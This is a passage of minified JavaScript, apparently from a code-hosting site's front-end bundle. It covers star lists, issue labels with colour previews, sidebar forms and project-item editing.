Promise((n,o)=>{e.addEventListener("user-list-menu-form:success",()=>n()),e.addEventListener("user-list-menu-form:error",r=>o(r))});return(0,L.Bt)(e),t}s(jl,"requestUserListMenuFormSubmit");function Sl(e){const t=e.target;if(!(t instanceof HTMLDetailsElement)||t.hasAttribute("open"))return;const n=t.querySelector(".js-user-list-menu-form");n&&(0,Mt.T)(n)&&(0,L.Bt)(n);const o=t.querySelector(".js-user-list-create-trigger-text");o&&(o.textContent="")}s(Sl,"submitUserListFormOnToggle"),(0,c.on)("toggle",".js-user-list-menu",Sl,{capture:!0}),(0,j.q6)(".js-user-lists-menu-filter",e=>{const t=e.currentTarget,n=t.value.trim(),o=t.closest(".js-user-list-menu-content-root"),r=o==null?void 0:o.querySelector(".js-user-list-create-trigger-text");!r||(r.textContent=n?`"${n}"`:"")}),(0,C.AC)(".js-user-list-menu-form",async function(e,t){let n;try{n=await t.json()}catch(r){(0,T.v)(),(0,c.f)(e,"user-list-menu-form:error",r);return}if(n.json.didStar){const r=e.closest(".js-toggler-container");r&&r.classList.add("on");const i=n.json.starCount;if(i){const a=e.closest(".js-social-container");a&&mr(a,i)}}const o=e.closest(".js-user-list-menu-content-root[data-update-after-submit]");if(o)for(const r of e.querySelectorAll(".js-user-list-menu-item"))r.checked=r.defaultChecked;n.json.didCreate?await Or():o&&await(0,Me.x0)(o),(0,c.f)(e,"user-list-menu-form:success")}),(0,c.on)("click",".js-user-list-delete-confirmation-trigger",e=>{const{currentTarget:t}=e,n=t.getAttribute("data-template-id");if(!n)return;const o=document.getElementById(n);if(!o||!(o instanceof HTMLTemplateElement))return;const r=t.closest(".js-edit-user-list-dialog");r&&(r.open=!1);const i=o.content.cloneNode(!0),a=o.getAttribute("data-labelledby");(0,Te.W)({content:i,labelledBy:a})}),(0,c.on)("click",".js-user-lists-create-trigger",async function(e){const{currentTarget:t}=e,n=document.querySelector(".js-user-list-create-dialog-template"),o=e.currentTarget.getAttribute("data-repository-id"),r=t.closest(".js-user-list-menu-content-root"),i=r==null?void 0:r.querySelector(".js-user-lists-menu-filter"),a=i==null?void 0:i.value.trim();if(!n||!(n instanceof HTMLTemplateElement)||!o){t instanceof HTMLButtonElement&&(t.disabled=!0);return}const l=n.getAttribute("data-label");if(r&&(0,Mt.T)(r)){const S=r.querySelector(".js-user-list-menu-form");S&&await jl(S)}const y=new lt.R(n,{repositoryId:o,placeholderName:a}),w=await(0,Te.W)({content:y,label:l});w.addEventListener("user-list-form:success",async()=>{await Or();const S=w.closest("details");S&&(S.open=!1)})}),(0,u.N7)("[data-warn-unsaved-changes]",{add(e){e.addEventListener("input",qt),e.addEventListener("change",qt),e.addEventListener("submit",et);const t=e.closest("details-dialog");t&&(t.closest("details").addEventListener("toggle",Nr),t.addEventListener("details-dialog-close",Br))},remove(e){e.removeEventListener("input",qt),e.removeEventListener("change",qt),e.removeEventListener("submit",et);const t=e.closest("details-dialog");t&&(t.closest("details").removeEventListener("toggle",Nr),t.removeEventListener("details-dialog-close",Br),et())}});function qt(e){const t=e.currentTarget;(0,Mt.T)(t)?Tl(t):et()}s(qt,"prepareUnsavedChangesWarning");function Tl(e){const t=e.getAttribute("data-warn-unsaved-changes")||"Changes you made may not be saved.";window.onbeforeunload=function(n){return n.returnValue=t,t}}s(Tl,"enableSaveChangesReminder");function et(){window.onbeforeunload=null}s(et,"disableSaveChangesReminder");function Nr({currentTarget:e}){e.hasAttribute("open")||et()}s(Nr,"disableSaveChangesReminderOnClosedDialogs");function Br(e){const t=e.currentTarget;if(!t.closest("details[open]"))return;let o=!0;const r=t.querySelectorAll("form[data-warn-unsaved-changes]");for(const i of r)if((0,Mt.T)(i)){const a=i.getAttribute("data-warn-unsaved-changes");o=confirm(a);break}o||e.preventDefault()}s(Br,"promptOnDialogClosing"),(0,u.N7)(".will-transition-once",{constructor:HTMLElement,subscribe:e=>(0,M.RB)(e,"transitionend",Al)});function Al(e){e.target.classList.remove("will-transition-once")}s(Al,"onTransitionEnd");async function Cl(e){const t=e.currentTarget,n=t.getAttribute("data-url");if(!n||kl(t))return;const o=t.getAttribute("data-id")||"",r=t.textContent,i=document.querySelectorAll(`.js-issue-link[data-id='${o}']`);for(const a of i)a.removeAttribute("data-url");try{const a=`${n}/title`,l=await fetch(a,{headers:{"X-Requested-With":"XMLHttpRequest",Accept:"application/json"}});if(!l.ok){const w=new Error,S=l.statusText?` ${l.statusText}`:"";throw w.message=`HTTP ${l.status}${S}`,w}const y=await l.json();$r(i,`${r}, ${y.title}`)}catch(a){const l=(a.response!=null?a.response.status:void 0)||500,y=(()=>{switch(l){case 404:return t.getAttribute("data-permission-text");default:return t.getAttribute("data-error-text")}})();$r(i,y||"")}}s(Cl,"issueLabel");function $r(e,t){for(const n of e)n instanceof HTMLElement&&(n.classList.add("tooltipped","tooltipped-ne"),n.setAttribute("aria-label",t))}s($r,"setLabel");function kl(e){switch(e.getAttribute("data-hovercard-type")){case"issue":case"pull_request":return!!e.closest("[data-issue-and-pr-hovercards-enabled]");case"discussion":return!!e.closest("[data-discussion-hovercards-enabled]");default:return!1}}s(kl,"isHovercardEnabled"),(0,u.N7)(".js-issue-link",{subscribe:e=>(0,M.RB)(e,"mouseenter",Cl)});var xl=f(12085),Ie=f.n(xl);function xn(){return[Math.floor(Math.random()*(255-0)+0),Math.floor(Math.random()*(255-0)+0),Math.floor(Math.random()*(255-0)+0)]}s(xn,"randomRGBColor");function tt(e,t){const n=Ie().rgb.hsl(t);e.style.setProperty("--label-r",t[0].toString()),e.style.setProperty("--label-g",t[1].toString()),e.style.setProperty("--label-b",t[2].toString()),e.style.setProperty("--label-h",n[0].toString()),e.style.setProperty("--label-s",n[1].toString()),e.style.setProperty("--label-l",n[2].toString())}s(tt,"setColorSwatch");function Mn(e,t){e.blur();const n=e.closest("form"),o=n.querySelector(".js-new-label-color-input");(0,L.Se)(o,`#${Ie().rgb.hex(t)}`);const r=n.querySelector(".js-new-label-color");tt(r,t)}s(Mn,"setInputColorFromButton");function Ml(e,t){e.closest(".js-label-error-container").classList.add("errored"),e.textContent=t,e.hidden=!1}s(Ml,"addErrorToField");function ql(e){e.closest(".js-label-error-container").classList.remove("errored"),e.hidden=!0}s(ql,"removeErrorFromField");function ze(e,t,n){const o=t.querySelector(e);!o||(n?Ml(o,n[0]):ql(o))}s(ze,"showOrHideLabelError");function qn(e,t){ze(".js-label-name-error",e,t.name),ze(".js-label-description-error",e,t.description),ze(".js-label-color-error",e,t.color)}s(qn,"showLabelErrors");function De(e){ze(".js-label-name-error",e,null),ze(".js-label-description-error",e,null),ze(".js-label-color-error",e,null)}s(De,"hideLabelErrors");function Rl(e,t,n,o,r){const i=new URL(`${e}${encodeURIComponent(t)}`,window.location.origin),a=new URLSearchParams(i.search.slice(1));return a.append("color",n),o&&a.append("description",o),r&&a.append("id",r),i.search=a.toString(),i.toString()}s(Rl,"labelPreviewUrl");function _l(e){let t=null;const n=e.querySelector(".js-new-label-description-input");return n instanceof HTMLInputElement&&n.value.trim().length>0&&(t=n.value.trim()),t}s(_l,"labelDescriptionFrom");function Pl(e){const t=e.querySelector(".js-new-label-color-input");return t.checkValidity()?t.value.trim().replace(/^#/,""):"ededed"}s(Pl,"labelColorFrom");function Il(e,t){let o=e.querySelector(".js-new-label-name-input").value.trim();return o.length<1&&(o=t.getAttribute("data-default-name")),o}s(Il,"labelNameFrom");async function Ke(e){const t=e.closest(".js-label-preview-container");if(!t)return;const n=e.closest(".js-label-form"),o=n.querySelector(".js-new-label-error"),r=n.getAttribute("data-label-id"),i=t.querySelector(".js-label-preview"),a=Il(n,i);if(!n.checkValidity()&&a!=="Label preview")return;const l=Pl(n),y=_l(n),w=i.getAttribute("data-url-template"),S=Rl(w,a,l,y,r);if(t.hasAttribute("data-last-preview-url")){const I=t.getAttribute("data-last-preview-url");if(S===I)return}let R;try{R=await(0,pe.a)(document,S)}catch(I){const F=await I.response.json();qn(n,F),o&&(o.textContent=F.message,o.hidden=!1);return}o&&(o.textContent="",o.hidden=!0),De(n),i.innerHTML="",i.appendChild(R),t.setAttribute("data-last-preview-url",S)}s(Ke,"updateLabelPreview");function Dl(e){Ke(e.target)}s(Dl,"onLabelFormInputChange");function Fr(e,t){e.closest(".js-details-container").classList.toggle("is-empty",t)}s(Fr,"toggleBlankSlate");function Ur(e){const t=document.querySelector(".js-labels-count"),o=Number(t.textContent)+e;t.textContent=o.toString();const r=document.querySelector(".js-labels-label");return r.textContent=r.getAttribute(o===1?"data-singular-string":"data-plural-string"),o}s(Ur,"updateCount"),(0,j.q6)(".js-label-filter-field",function(e){const t=e.target,o=t.closest("details-menu").querySelector(".js-new-label-name");if(!o)return;const r=t.value.trim();o.textContent=r}),(0,c.on)("filterable:change",".js-filterable-issue-labels",function(e){const t=e.currentTarget.closest("details-menu"),n=t.querySelector(".js-add-label-button");if(!n)return;const r=e.detail.inputField.value.trim().toLowerCase();let i=!1;for(const a of t.querySelectorAll("input[data-label-name]"))if((a.getAttribute("data-label-name")||"").toLowerCase()===r){i=!0;break}n.hidden=r.length===0||i}),(0,j.ZG)(".js-new-label-color-input",function(e){const n=e.closest("form").querySelector(".js-new-label-swatches");n.hidden=!1,e.addEventListener("blur",function(){n.hidden=!0},{once:!0})}),(0,j.q6)(".js-new-label-color-input",function(e){const t=e.target;let n=t.value.trim();if(!(n.length<1))if(n.indexOf("#")!==0&&(n=`#${n}`,t.value=n),t.checkValidity()){t.classList.remove("color-fg-danger");const r=t.closest("form").querySelector(".js-new-label-color");tt(r,Ie().hex.rgb(n))}else t.classList.add("color-fg-danger")}),(0,j.w4)("keyup",".js-new-label-color-input",function(e){const t=e.target;let n=t.value.trim();if(n.indexOf("#")!==0&&(n=`#${n}`,t.value=n),t.checkValidity()){const i=t.closest("form").querySelector(".js-new-label-color");tt(i,Ie().hex.rgb(n))}(0,c.f)(t,"change",!1);const o=t.closest("form");De(o)}),(0,j.w4)("keyup",".js-new-label-description-input",function(e){const n=e.target.form;De(n)}),(0,j.w4)("keyup",".js-new-label-color-input",function(e){const n=e.target.form;De(n)}),(0,c.on)("click",".js-new-label-color",async function(e){const t=e.currentTarget,n=xn();Mn(t,n),Ke(t)}),(0,c.on)("mousedown",".js-new-label-color-swatch",function(e){const t=e.currentTarget,n=t.getAttribute("data-color");Mn(t,Ie().hex.rgb(n)),Ke(t);const o=t.closest(".js-new-label-swatches");o.hidden=!0}),(0,c.on)("toggle",".js-new-label-modal",function(e){e.target.hasAttribute("open")&&Wr(e.target)},{capture:!0});async function Wr(e){const t=e.querySelector(".js-new-label-name-input");if(!t)return;const n=e.querySelector(".js-new-label-color-input"),o=xn(),r=`#${Ie().rgb.hex(o)}`;n.value=r;const i=e.querySelector(".js-new-label-color");tt(i,o);const l=document.querySelector(".js-new-label-name").textContent;(0,L.Se)(t,l),(0,Ht.OD)(t),Ke(i)}s(Wr,"initLabelModal"),(0,C.AC)(".js-new-label-modal-form",async function(e,t){const n=e.querySelector(".js-new-label-error");let o;try{o=await t.html()}catch(y){const w=y.response.json;n.textContent=w.message,n.hidden=!1}if(!o)return;n.hidden=!0,document.querySelector(".js-new-label-modal").removeAttribute("open");const r=document.querySelector(".js-issue-labels-menu-content"),i=r.querySelector(".js-filterable-issue-labels"),a=o.html.querySelector("input");i.prepend(o.html),a&&a.dispatchEvent(new Event("change",{bubbles:!0}));const l=r.querySelector(".js-label-filter-field");l.value=l.defaultValue,l.focus()}),(0,c.on)("click",".js-edit-label-cancel",function(e){const t=e.target.closest("form");De(t),t.reset();const n=t.querySelector(".js-new-label-color-input"),o=n.value,r=t.querySelector(".js-new-label-color");tt(r,Ie().hex.rgb(o)),(0,Ht.Qc)(t),Ke(n);const i=e.currentTarget.closest(".js-labels-list-item");if(i){i.querySelector(".js-update-label").classList.add("d-none");const l=i.querySelector(".js-label-preview");l&&(l.classList.add("d-none"),i.querySelector(".js-label-link").classList.remove("d-none"));const y=i.querySelectorAll(".js-hide-on-label-edit");for(const w of y)w.hidden=!w.hidden}}),(0,C.AC)(".js-update-label",async function(e,t){let n;try{n=await t.html()}catch(r){const i=r.response.json;qn(e,i);return}De(e),e.closest(".js-labels-list-item").replaceWith(n.html)}),(0,C.AC)(".js-create-label",async function(e,t){let n;try{n=await t.html()}catch(a){const l=a.response.json;qn(e,l);return}e.reset(),De(e),document.querySelector(".js-label-list").prepend(n.html),Ur(1),Fr(e,!1);const o=e.querySelector(".js-new-label-color"),r=xn();Mn(o,r),Ke(e.querySelector(".js-new-label-name-input")),(0,Ht.Qc)(e);const i=e.closest(".js-details-container");i instanceof HTMLElement&&(0,Vt.Qp)(i)}),(0,c.on)("click",".js-details-target-new-label",function(){document.querySelector(".js-create-label").querySelector(".js-new-label-name-input").focus()}),(0,c.on)("click",".js-edit-label",function(e){const t=e.currentTarget.closest(".js-labels-list-item"),n=t.querySelector(".js-update-label");n.classList.remove("d-none"),n.querySelector(".js-new-label-name-input").focus();const r=t.querySelector(".js-label-preview");r&&(r.classList.remove("d-none"),t.querySelector(".js-label-link").classList.add("d-none"));const i=t.querySelectorAll(".js-hide-on-label-edit");for(const a of i)a.hidden=!a.hidden}),(0,C.AC)(".js-delete-label",async function(e,t){const n=e.closest(".js-labels-list-item");n.querySelector(".js-label-delete-spinner").hidden=!1,await t.text();const o=Ur(-1);Fr(e,o===0),n.remove()});const Rt=(0,P.D)(Dl,500);(0,c.on)("suggester:complete",".js-new-label-name-input",Rt),(0,j.q6)(".js-new-label-name-input",Rt),(0,j.q6)(".js-new-label-description-input",Rt),(0,j.q6)(".js-new-label-color-input",Rt),(0,j.w4)("keypress",".js-new-label-name-input",function(e){const t=e.target,n=parseInt(t.getAttribute("data-maxlength"));(0,Ee.rq)(t.value)>=n&&e.preventDefault()}),(0,c.on)("click",".js-issues-label-select-menu-item",function(e){!e.altKey&&!e.shiftKey||(e.preventDefault(),e.stopPropagation(),e.altKey&&(window.location.href=e.currentTarget.getAttribute("data-excluded-url")),e.shiftKey&&(window.location.href=e.currentTarget.getAttribute("data-included-url")))}),(0,j.w4)("keydown",".js-issues-label-select-menu-item",function(e){if(e.key!=="Enter"||!e.altKey&&!e.shiftKey)return;const t=e.currentTarget;e.preventDefault(),e.stopPropagation(),t instanceof HTMLAnchorElement&&(e.altKey&&(window.location.href=t.getAttribute("data-excluded-url")),e.shiftKey&&(window.location.href=t.getAttribute("data-included-url")))}),(0,c.on)("click",".js-open-label-creation-modal",async function(e){e.stopImmediatePropagation();const t=await(0,Te.W)({content:document.querySelector(".js-label-creation-template").content.cloneNode(!0),detailsClass:"js-new-label-modal"});Wr(t)},{capture:!0}),(0,c.on)("change",".js-thread-notification-setting",Rn),(0,c.on)("change",".js-custom-thread-notification-option",Rn),(0,c.on)("reset",".js-custom-thread-settings-form",Rn);function Rn(){const e=document.querySelector(".js-reveal-custom-thread-settings").checked,t=!document.querySelector(".js-custom-thread-notification-option:checked"),n=document.querySelector(".js-custom-thread-settings"),o=document.querySelector("[data-custom-option-required-text]"),r=e&&t?o.getAttribute("data-custom-option-required-text"):"";o.setCustomValidity(r),n.hidden=!e}s(Rn,"toggleEventSettings");var Hl=Object.defineProperty,Ol=Object.getOwnPropertyDescriptor,zr=s((e,t,n,o)=>{for(var r=o>1?void 0:o?Ol(t,n):t,i=e.length-1,a;i>=0;i--)(a=e[i])&&(r=(o?a(t,n,r):a(r))||r);return o&&r&&Hl(t,n,r),r},"sidebar_widget_decorateClass");let _n=s(class extends HTMLElement{get activeClass(){return this.getAttribute("active-class")||"collapsible-sidebar-widget-active"}get loadingClass(){return this.getAttribute("loading-class")||"collapsible-sidebar-widget-loading"}get url(){return this.getAttribute("url")||""}get isOpen(){return this.hasAttribute("open")}set isOpen(e){e?this.setAttribute("open",""):this.removeAttribute("open")}onKeyDown(e){if(e.code==="Enter"||e.code==="Space")return e.preventDefault(),this.load()}onMouseDown(e){return e.preventDefault(),this.load()}load(){return this.pendingRequest?this.pendingRequest.abort():this.collapsible.hasAttribute("loaded")?this.isOpen?this.setClose():this.setOpen():(this.setLoading(),this.updateCollapsible())}setLoading(){this.classList.add(this.loadingClass),this.classList.remove(this.activeClass)}setOpen(){this.classList.add(this.activeClass),this.classList.remove(this.loadingClass),this.isOpen=!0}setClose(){this.classList.remove(this.activeClass),this.classList.remove(this.loadingClass),this.isOpen=!1}handleAbort(){this.pendingRequest=null,this.setClose()}async updateCollapsible(){var e;try{this.pendingRequest=new AbortController,this.pendingRequest.signal.addEventListener("abort",()=>this.handleAbort());const t=await fetch(this.url,{signal:(e=this.pendingRequest)==null?void 0:e.signal,headers:{Accept:"text/html","X-Requested-With":"XMLHttpRequest"}});if(this.pendingRequest=null,!t.ok)return this.setClose();const n=await t.text();this.collapsible.innerHTML=n,this.collapsible.setAttribute("loaded",""),this.setOpen()}catch{return this.pendingRequest=null,this.setClose()}}},"CollapsibleSidebarWidgetElement");zr([J.fA],_n.prototype,"collapsible",2),_n=zr([J.Ih],_n);var Nl=Object.defineProperty,Bl=Object.getOwnPropertyDescriptor,ve=s((e,t,n,o)=>{for(var r=o>1?void 0:o?Bl(t,n):t,i=e.length-1,a;i>=0;i--)(a=e[i])&&(r=(o?a(t,n,r):a(r))||r);return o&&r&&Nl(t,n,r),r},"sidebar_memex_input_decorateClass");let ye=s(class extends HTMLElement{constructor(){super(...arguments);this.url="",this.csrf="",this.instrument="",this.column=1}get isDisabled(){var e;return(e=this.read)==null?void 0:e.hasAttribute("disabled")}set hasErrored(e){e?this.setAttribute("errored",""):this.removeAttribute("errored")}set disabled(e){e?this.setAttribute("disabled",""):this.removeAttribute("disabled")}get hasExpanded(){return this.read.getAttribute("aria-expanded")==="true"}connectedCallback(){var e,t;this.disabled=(t=(e=this.read)==null?void 0:e.disabled)!=null?t:!0,this.querySelector("details")!==null&&this.classList.toggle("no-pointer")}handleDetailsSelect(e){var t;const n=e,o=e.target,r=(t=n.detail)==null?void 0:t.relatedTarget,i=o.closest("details"),a=i==null?void 0:i.querySelector("[data-menu-button]");if(r.getAttribute("aria-checked")==="true"){r.setAttribute("aria-checked","false"),e.preventDefault();for(const l of this.inputs)if(r.contains(l)){this.updateCell(l.name,""),(a==null?void 0:a.innerHTML)&&(a.innerHTML=l.placeholder);break}i==null||i.removeAttribute("open")}}handleDetailsSelected(e){var t;const o=(t=e.detail)==null?void 0:t.relatedTarget;for(const r of this.inputs)if(o.contains(r)){this.updateCell(r.name,r.value);break}}mouseDownFocus(e){!this.isDisabled||this.onFocus(e)}keyDownFocus(e){(e.code==="Enter"||e.code==="Space")&&this.read!==document.activeElement&&this.onFocus(e)}onChange(e){var t,n;e.target.getAttribute("type")!=="date"&&this.updateCell((t=this.read)==null?void 0:t.name,(n=this.read)==null?void 0:n.value)}onFocus(e){e.preventDefault(),this.disabled=!1,this.read.disabled=!1,this.read.focus()}onBlur(e){var t,n;if(this.hasExpanded){e.preventDefault();return}e.target.getAttribute("type")==="date"&&this.updateCell((t=this.read)==null?void 0:t.name,(n=this.read)==null?void 0:n.value),this.read.disabled=!0,this.disabled=!0}onKeyDown(e){if(e.code==="Enter"||e.code==="Tab"){if(e.preventDefault(),e.stopPropagation(),this.hasExpanded)return;this.read.blur()}}async updateCell(e="",t=""){const n=new FormData;n.set(e,t),n.set("ui",this.instrument);for(const r of this.parameters)n.set(r.name,r.value);const o=Intl.DateTimeFormat("en-US",{month:"short",day:"numeric",year:"numeric",timeZone:"UTC"});try{if(this.write){const S=this.read.value,R=this.read.type==="date"&&S?o.format(Date.parse(S)):S;this.write.textContent=S?R:this.read.placeholder}const r=await fetch(this.url,{method:"PUT",body:n,headers:{Accept:"application/json","X-Requested-With":"XMLHttpRequest","Scoped-CSRF-Token":`${this.csrf}`}});if(!r.ok)throw new Error("connection error");if(!this.write)return;const l=(await r.json()).memexProjectItem.memexProjectColumnValues.find(S=>S.memexProjectColumnId===Number(this.column)).value,y=this.read.type==="date"?Date.parse(l.value):l.html,w=this.read.type==="date"&&y?o.format(y):y;this.write.innerHTML=t?w:this.read.placeholder}catch{this.hasErrored=!0}}},"SidebarMemexInputElement");ve([J.Lj],ye.prototype,"url",2),ve([J.Lj],ye.prototype,"csrf",2),ve([J.Lj],ye.prototype,"instrument",2),ve([J.Lj],ye.prototype,"column",2),ve([J.GO],ye.prototype,"inputs",2),ve([J.fA],ye.prototype,"read",2),ve([J.fA],ye.prototype,"write",2),ve([J.GO],ye.prototype,"parameters",2),ye=ve([J.Ih],ye);function nt(e,t=!1){(t||!zl(e))&&(e instanceof HTMLFormElement?(0,L.Bt)(e):Pt(e))}s(nt,"submitForm");function Kr(e){const t=e.currentTarget,n=t.closest(".js-issue-sidebar-form")||t.querySelector(".js-issue-sidebar-form");nt(n)}s(Kr,"submitOnMenuClose"),(0,c.on)("details-menu-selected",".js-discussion-sidebar-menu",function(e){const t=e.detail.relatedTarget,n=e.currentTarget,o=t.closest(".js-issue-sidebar-form"),r=n.hasAttribute("data-multiple");if(t.hasAttribute("data-clear-assignees")){const i=n.querySelectorAll('input[name="issue[user_assignee_ids][]"]:checked');for(const a of i)a.disabled=!1,a.checked=!1;nt(o)}else r?n.closest("details").addEventListener("toggle",Kr,{once:!0}):nt(o)},{capture:!0});function $l(e,t){e.replaceWith((0,q.r)(document,t))}s($l,"updateSidebar");function Vr(e){const t=document.querySelector(`[data-menu-trigger="${e}"]`);t==null||t.focus()}s(Vr,"returnFocusToTrigger"),(0,C.AC)(".js-issue-sidebar-form",async function(e,t){var n;const o=await t.html(),r=e.closest(".js-discussion-sidebar-item"),i=(n=r==null?void 0:r.querySelector(".select-menu"))==null?void 0:n.getAttribute("id");r.replaceWith(o.html),i&&Vr(i)}),(0,c.on)("click","div.js-issue-sidebar-form .js-suggested-reviewer",function(e){const t=e.currentTarget,n=t.closest(".js-issue-sidebar-form");Pt(n,"post",{name:t.name,value:t.value}),e.preventDefault()}),(0,c.on)("click","div.js-issue-sidebar-form .js-issue-assign-self",function(e){var t;const n=e.currentTarget,o=n.closest(".js-issue-sidebar-form");Pt(o,"post",{name:n.name,value:n.value}),n.remove(),(t=document.querySelector("form#new_issue .is-submit-button-value"))==null||t.remove(),e.preventDefault()}),(0,c.on)("click",".js-issue-unassign-self",function(e){const t=e.currentTarget.closest(".js-issue-sidebar-form");Pt(t,"delete"),e.preventDefault()}),(0,C.AC)(".js-pages-preview-toggle-form",async function(e,t){const n=await t.json();e.querySelector("button.btn").textContent=n.json.new_button_value});function Fl(e,t){const n=e.getAttribute("data-cache-name");return`${t}:sidebar:${n}`}s(Fl,"getCacheKey");function Ul(e,t,n){const o=e.getAttribute("data-cache-name");if(!o)return;const r=[];for(const[a,l]of t.entries())a.indexOf(o)!==-1&&r.push([a,l]);const i=r.filter(a=>a[1]!=="");i.length>0?sessionStorage.setItem(n,JSON.stringify(i)):sessionStorage.removeItem(n)}s(Ul,"cacheValues");const _t=new Set;function Xr(){_t.clear()}s(Xr,"clearHasFired");async function Wl(e,t){const n=e.getAttribute("data-cache-name"),o=sessionStorage.getItem(t);if(!n||!o||_t.has(n))return;_t.add(n);const r=JSON.parse(o),i=[];for(const[a,l]of r){if(Object.prototype.toString.call(l)!=="[object String]")continue;const y=document.createElement("input");y.type="hidden",y.value=l,y.name=a,e.appendChild(y),i.push(y)}try{await Zr(e);for(const a of i)a.remove()}catch{_t.delete(n)}}s(Wl,"restoreCachedValues");let Gr=!1;function Pn(e,t){if(Gr)return;const n=In(e);Ul(e,n,t),Xr()}s(Pn,"cacheValuesOnHide"),(0,u.N7)("[data-cacher]",{add(e){const t=Fl(e,(0,xe.e)());Wl(e,t),window.addEventListener("pagehide",()=>Pn(e,t)),window.addEventListener("pjax:beforeReplace",()=>Pn(e,t)),window.addEventListener("turbo:before-visit",()=>Pn(e,t)),window.addEventListener("submit",n=>{n.defaultPrevented||(Gr=!0,setTimeout(()=>{for(const o of Object.keys(sessionStorage))o.indexOf(t)!==-1&&(sessionStorage.removeItem(o),Xr())},0))},{capture:!0})}});async function Pt(e,t="post",n){var o;await Zr(e,t,n);const r=e.closest(".js-discussion-sidebar-item"),i=(o=r==null?void 0:r.querySelector(".select-menu"))==null?void 0:o.getAttribute("id");i&&Vr(i)}s(Pt,"previewSubmit");async function Zr(e,t="post",n){const o=In(e);n&&o.append(n.name,n.value);const r=e.getAttribute("data-url");if(!r)return;const i=e.querySelector(".js-data-url-csrf"),a=await fetch(r,{method:t,body:t==="delete"?"":o,mode:"same-origin",headers:{"Scoped-CSRF-Token":i.value,"X-Requested-With":"XMLHttpRequest"}});if(!a.ok)return;const l=await a.text();$l(e.closest(".js-discussion-sidebar-item"),l)}s(Zr,"requestPreview");function zl(e){const t=e.getAttribute("data-reviewers-team-size-check-url");if(!t)return!1;const n=[...document.querySelectorAll(".js-reviewer-team")].map(l=>l.getAttribute("data-id")),o=e instanceof HTMLFormElement?new FormData(e):In(e),i=new URLSearchParams(o).getAll("reviewer_team_ids[]").filter(l=>!n.includes(l));if(i.length===0)return!1;const a=new URLSearchParams(i.map(l=>["reviewer_team_ids[]",l]));return Kl(e,`${t}?${a}`),!0}s(zl,"reviewerTeamsCheckRequired");async function Kl(e,t){const n=await fetch(t);if(!n.ok)return;const o=await n.text();if(o.match(/[^\w-]js-large-team[^\w-]/))Vl(e,o);else{nt(e,!0);return}}s(Kl,"triggerTeamReviewerCheck");function Vl(e,t){const n=e.querySelector(".js-large-teams-check-warning-container");for(;n.firstChild;)n.removeChild(n.firstChild);n.appendChild((0,q.r)(document,t));const o=n.querySelector("details");function r(i){if(i.target instanceof Element){if(o.open=!1,!i.target.classList.contains("js-large-teams-confirm-button")){const a=e.querySelectorAll("input[name='reviewer_team_ids[]']");for(const l of a)n.querySelector(`.js-large-team[data-id='${l.value}']`)&&(l.checked=!1)}nt(e,!0),i.preventDefault()}}s(r,"dialogAction"),n.querySelector(".js-large-teams-confirm-button").addEventListener("click",r,{once:!0}),n.querySelector(".js-large-teams-cancel-button").addEventListener("click",r,{once:!0}),o.addEventListener("details-dialog-close",r,{once:!0}),o.open=!0}s(Vl,"showTeamReviewerConfirmationDialog"),(0,c.on)("click","div.js-project-column-menu-container .js-project-column-menu-item button",async function(e){const t=e.currentTarget;Xl(t);const n=t.getAttribute("data-url"),o=t.parentElement.querySelector(".js-data-url-csrf"),r=t.getAttribute("data-card-id"),i=new FormData;if(i.append("card_id",r),i.append("use_automation_prioritization","true"),e.preventDefault(),!(await fetch(n,{method:"PUT",mode:"same-origin",body:i,headers:{"Scoped-CSRF-Token":o.value,"X-Requested-With":"XMLHttpRequest"}})).ok)return;const l=document.activeElement,y=t.closest(".js-project-column-menu-dropdown");if(l&&y.contains(l))try{l.blur()}catch{}});function Xl(e){const n=e.closest(".js-project-column-menu-dropdown").querySelector(".js-project-column-menu-summary"),o=e.getAttribute("data-column-name");n.textContent=o}s(Xl,"updateProjectColumnMenuSummary"),(0,c.on)("click",".js-prompt-dismiss",function(e){e.currentTarget.closest(".js-prompt").remove()});function In(e){const t=e.closest("form");if(!t)return new FormData;const o=new FormData(t).entries(),r=new FormData;for(const[i,a]of o)t.contains(Gl(t,i,a.toString()))&&r.append(i,a);return r}s(In,"scopedFormData");function Gl(e,t,n){for(const o of e.elements)if((o instanceof HTMLInputElement||o instanceof HTMLTextAreaElement||o instanceof HTMLButtonElement)&&o.name===t&&o.value===n)return o;return null}s(Gl,"findParam"),(0,c.on)("click",".js-convert-to-draft",function(e){const t=e.currentTarget.getAttribute("data-url"),n=e.currentTarget.parentElement.querySelector(".js-data-url-csrf");fetch(t,{method:"POST",mode:"same-origin",headers:{"Scoped-CSRF-Token":n.value,"X-Requested-With":"XMLHttpRequest"}})}),(0,c.on)("click","div.js-restore-item",async function(e){const t=e.currentTarget.getAttribute("data-url"),n=e.currentTarget.getAttribute("data-column"),o=e.currentTarget.querySelector(".js-data-url-csrf"),r=new FormData;if(r.set("memexProjectItemIds[]",n),!(await fetch(t,{method:"PUT",mode:"same-origin",body:r,headers:{"Scoped-CSRF-Token":o.value,"X-Requested-With":"XMLHttpRequest"}})).ok)throw new Error("connection error");Kr(e)})},22485:($,D,f)=>{"use strict";f.d(D,{N:()=>C,x:()=>_});var T=f(7739);let c=null;(async function(){await T.x,x()})();function C(g){_(u(g))}s(C,"announceFromElement");function _(g){!c||(c.textContent="",c.textContent=g)}s(_,"announce");function x(){c=document.createElement("div"),c.setAttribute("aria-live","polite"),c.classList.add("sr-only"),document.body.append(c)}s(x,"createNoticeContainer");function u(g){return(g.getAttribute("aria-label")||g.innerText||"").trim()}s(u,"getTextContent")},51989:($,D,f)=>{"use strict";f.d(D,{s:()=>h});var T=f(90420),c=f(12981);class C{constructor(b=50,v=30){this.elements=[],this.timer=null,this.callbacks=[],this.timeout=b,this.limit=v,this.index=0}push(b){const v=`item-${this.index++}`;return this.timer&&(window.clearTimeout(this.timer),this.timer=null),this.elements.length>=this.limit&&this.flush(),this.timer=window.setTimeout(()=>{this.timer=null,this.flush()},this.timeout),this.elements.push([b,v]),v}onFlush(b){this.callbacks.push(b)}async flush(){const b=this.elements.splice(0,this.limit);b.length!==0&&await Promise.all(this.callbacks.map(v=>v(b)))}}s(C,"AutoFlushingQueue");class _{constructor(b,v){this.url=b,this.callbacks=new Map,this.autoFlushingQueue=new C,this.autoFlushingQueue.onFlush(async L=>{this.load(L)}),this.validate=v}loadInBatch(b){const v=this.autoFlushingQueue.push(b);return new Promise(L=>this.callbacks.set(v,L))}async load(b){const v=new Map;for(const[E,A]of b)v.set(A,E);const L=new FormData;L.set("_method","GET");for(const[E,A]of v.entries())for(const k of A.inputs)L.append(`items[${E}][${k.name}]`,k.value);const q=await 